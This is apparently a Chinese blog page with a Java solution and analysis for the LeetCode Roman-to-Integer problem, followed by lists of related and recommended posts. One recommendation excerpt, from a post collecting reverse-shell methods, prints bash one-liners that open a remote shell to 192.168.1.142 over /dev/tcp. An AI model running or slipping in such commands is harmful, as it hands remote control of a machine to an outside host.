题目内容:

Given a roman numeral, convert it to an integer.

Input is guaranteed to be within the range from 1 to 3999.

题目分析:罗马数字向阿拉伯数字的转换情况如下:

1、M=1000 D=500 C=100 L=50 X=10 V=5 I=1

2、若小的罗马符号出现在大的罗马符号的前面,则小的罗马符号代表的数字改为负。这种情况只能出现有限的情况。

因此目前想到两种方法。

第一种方法是再扫描出I之外的每个符号时都查看这个符号之前的符号,如果是比他小的符号,则要减去小的符号代表数值的两倍。

第二种方法是将数字中每个符合代表的数值都加上,然后查看数字中有没有出息要减去值的那些符号对。

题目代码:

public class Solution {
    public static int romanToInt(String s) {
        char[] ss = new char[100];
        int sum = 0;
        for(int i=0; i<s.length();i++)
        ss[i]=s.charAt(i);
        for(int i=0; i<s.length();i++){
         if (ss[i]=='I'){
          sum+=1;
         }
         if (ss[i]=='V'){
          sum+=5;
          if(i>0&&ss[i-1]=='I'){
           sum-=2;
          }
         }
         if (ss[i]=='X'){
          sum+=10;
          if(i>0&&ss[i-1]=='I'){
           sum-=2;
          }
          if(i>0&&ss[i-1]=='V'){
           sum-=10;
          }
         }
         if (ss[i]=='L'){
          sum+=50;
          if(i>0&&ss[i-1]=='I'){
           sum-=2;
          }
          if(i>0&&ss[i-1]=='V'){
           sum-=10;
          }
          if(i>0&&ss[i-1]=='X'){
           sum-=20;
          }
         }
         if (ss[i]=='C'){
          sum+=100;
          if(i>0&&ss[i-1]=='I'){
           sum-=2;
          }
          if(i>0&&ss[i-1]=='V'){
           sum-=10;
          }
          if(i>0&&ss[i-1]=='X'){
           sum-=20;
          }
          if(i>0&&ss[i-1]=='L'){
           sum-=100;
          }
         }
         if (ss[i]=='D'){
          sum+=500;
          if(i>0&&ss[i-1]=='I'){
           sum-=2;
          }
          if(i>0&&ss[i-1]=='V'){
           sum-=10;
          }
          if(i>0&&ss[i-1]=='X'){
           sum-=20;
          }
          if(i>0&&ss[i-1]=='L'){
           sum-=100;
          }
          if(i>0&&ss[i-1]=='C'){
           sum-=200;
          }
         }
         if (ss[i]=='M'){
          sum+=1000;
          if(i>0&&ss[i-1]=='I'){
           sum-=2;
          }
          if(i>0&&ss[i-1]=='V'){
           sum-=10;
          }
          if(i>0&&ss[i-1]=='X'){
           sum-=20;
          }
          if(i>0&&ss[i-1]=='L'){
           sum-=100;
          }
          if(i>0&&ss[i-1]=='C'){
           sum-=200;
          }
          if(i>0&&ss[i-1]=='D'){
           sum-=1000;
          }
         }
        }
        return sum;       
    }
   
}

13. Roman to Integer ★的更多相关文章

  1. Leetcode#13. Roman to Integer(罗马数字转整数)

    题目描述 罗马数字包含以下七种字符:I, V, X, L,C,D 和 M. 字符 数值 I 1 V 5 X 10 L 50 C 100 D 500 M 1000 例如, 罗马数字 2 写做 II ,即 ...

  2. Leetcode 13. Roman to Integer(水)

    13. Roman to Integer Easy Roman numerals are represented by seven different symbols: I, V, X, L, C, ...

  3. leetCode练题——13. Roman to Integer

    1.题目13. Roman to Integer Roman numerals are represented by seven different symbols: I, V, X, L, C, D ...

  4. C# 写 LeetCode easy #13 Roman to Integer

    13.Roman to Integer Roman numerals are represented by seven different symbols: I, V, X, L, C, D and  ...

  5. 13. Roman to Integer【leetcode】

    Roman to Integer Given a roman numeral, convert it to an integer. Input is guaranteed to be within t ...

  6. 【LeetCode】13. Roman to Integer (2 solutions)

    Roman to Integer Given a roman numeral, convert it to an integer. Input is guaranteed to be within t ...

  7. 《LeetBook》leetcode题解(13):Roman to Integer[E]

    我现在在做一个叫<leetbook>的免费开源书项目,力求提供最易懂的中文思路,目前把解题思路都同步更新到gitbook上了,需要的同学可以去看看 书的地址:https://hk029.g ...

  8. LeetCode - 13. Roman to Integer - 思考if-else与switch的比较 - ( C++ ) - 解题报告

    1.题目: 原题:Given a roman numeral, convert it to an integer. Input is guaranteed to be within the range ...

  9. 13. Roman to Integer[E]罗马数字转整数

    题目 Given a roman numeral, convert it to an integer. Input is guaranteed to be within the range from ...

  10. [LeetCode] 13. Roman to Integer 罗马数字转化成整数

    Roman numerals are represented by seven different symbols: I, V, X, L, C, D and M. Symbol Value I 1 ...

随机推荐

  1. MongoDB --- 02. 基本操作,增删改查,数据类型,比较符,高级用法,pymongo

    一.基本操作 . mongod 启动服务端 2. mongo 启动客户端 3. show databses 查看本地磁盘的数据库 4. use 库名 切换到要使用的数据库 5. db 查看当前使用的数 ...

  2. C#Razor模板引擎简单使用

    引用 install-package RazorEngine 使用 public class TestDemo { private string name; public int Age { get ...

  3. 深度学习网络中numpy多维数组的说明

    目前在计算机视觉中应用的数组维度最多有四维,可以表示为 (Batch_size, Row, Column, Channel) 以下将要从二维数组到四维数组进行代码的简单说明: Tips: 1) 在nu ...

  4. windows下安装git和vundle

    git在windows下的版本是: git-for-windows, 或者说是: msysgit: ms-sys-git 直接在 https://gitforwindows.org/上下载 git对w ...

  5. 反弹shell以及端口转发的方法收集

    Bash bash -i >& /dev/tcp/192.168.1.142/80 0>&1 exec 5<>/dev/tcp/192.168.1.142/80 ...

  6. 20165306 Exp6 信息搜集与漏洞扫描

    Exp6 信息搜集与漏洞扫描 一.实践内容概述 1.实践目标 掌握信息搜集的最基础技能与常用工具的使用方法. 2.实践内容 (1)各种搜索技巧的应用 搜索网址目录结构 搜索特定类型的文件 搜索E-Ma ...

  7. SSH实现ajax

    (1)首先要引入需要pom文件 <!-- https://mvnrepository.com/artifact/org.apache.struts/struts2-json-plugin --& ...

  8. js点滴3 vs vue

    web Components 学习之路 https://www.cnblogs.com/zhaowinter/p/5447246.html vue学习指路. vue全局配置. ignoredEleme ...

  9. Python第三方库的安装 --Python3

    1.使用安装包管理工具安装:easy_install .pip/pip3 easy_install:easy_install是由PEAK(Python Enterprise Application K ...

  10. Python turtle学习笔记

    1介绍 Turtle库是Python语言中一个很流行的绘制图像的函数库,想象一个小乌龟,在一个横轴为x.纵轴为y的坐标系原点,(0,0)位置开始,它根据一组函数指令的控制,在这个平面坐标系中移动,从而 ...